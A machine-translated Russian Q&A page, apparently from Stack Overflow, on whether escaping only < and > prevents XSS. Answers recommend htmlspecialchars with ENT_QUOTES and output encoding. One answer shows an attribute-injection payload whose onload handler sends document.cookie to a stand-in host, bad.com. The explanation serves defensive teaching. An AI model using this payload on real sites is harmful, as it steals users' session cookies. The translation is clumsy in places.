Вопрос по xss, code-injection – Заменяет: <и> на & lt; и & gt; достаточно, чтобы предотвратить инъекцию XSS?

14

Я хочу знать, заманивая ли два знака достаточно для предотвращения инъекций XSS?

А если нет, то почему? И что'лучшее решение?

Ваш Ответ

2   ответа
16

Проверьте этот пример с типичного сайта форума ...

Вы можете хотлинкнуть свою аватарку. Введите полный URL.

Злоумышленник вводит в поле ввода

http://www.example.com/image.png" onload="window.location = 'http://www.bad.com/giveme.php?cookie=' + encodeURI(document.cookie) 

Там нет кодирования «меньше» и «больше, чем», но все же есть большая дыра в безопасности.

Сhtmlspecialchars()Я считаю хорошей идеей сделать (или использовать) функцию-оболочку, которая преобразуется в строку, предоставляет более простой способ отключить двойное кодирование (при необходимости) и убедиться, что он использует правильный набор символов вашего приложения. Кохана имеетотличный пример.

@bobince Очень хорошая мысль, я сделал правку :) alex
Я бы некодировать входящие в БД, но кодировать выходящие. Это'Как правило, хорошая идея для хранения пользовательских данных "как есть"и предоставить некоторый механизм, чтобы сделать его безопасным на дисплее. alex
Я полностью согласен с подходом «оставайся сырым, пока не попадаешь на страницу», однако я бы настоятельно рекомендовал «отключение двойных кавычек » как это будет искажать ваши строки. Например, если я хочу сказать& в сообщении о HTML, подобном этому, опция не сможет избежать его&amp; в источнике и, следовательно,будет выглядеть как раз& на экране, делая меня похожим на идиота. Кодирование - это процесс, а не состояние. bobince
Общее правило - проверять ввод при получении данных и экранирование при выводе данных. Посмотрите OWASP XSS Предотвращение Шпаргалку для того, чтобы избежать в различных контекстах:owasp.org/index.php/... Erlend
Привет, спасибо всем за ответы, я спросил это, потому что я думаю, что привлечение всех символов занимает больше места в базе данных. Спасибо Ryan
6

также взять двойные кавычки"одинарные кавычки' и амперсанды& в учетную запись. Если вы делаете это всев течение отображать / генерировать вывод, тогда да, это 'достаточно.

Вы должны толькообеспечивать что ты делаешь это длялюбой управляемый пользователем ввод, такой как параметры запроса, URL запроса, заголовки запроса и ввод, управляемый пользователем, который хранится в хранилище данных.

В PHP вы можете сделать это сhtmlspecialchars() и в JSP cou может сделать это с помощью JSTL.

Заметкаhtmlspecialchars по умолчанию экранирует только двойную кавычку, а не одиночную. Но это'обычно нормальноДовольно редко использовать одинарные кавычки в качестве разделителя атрибутов. использованиеENT_QUOTES чтобы быть уверенным в получении обоих. bobince

Похожие вопросы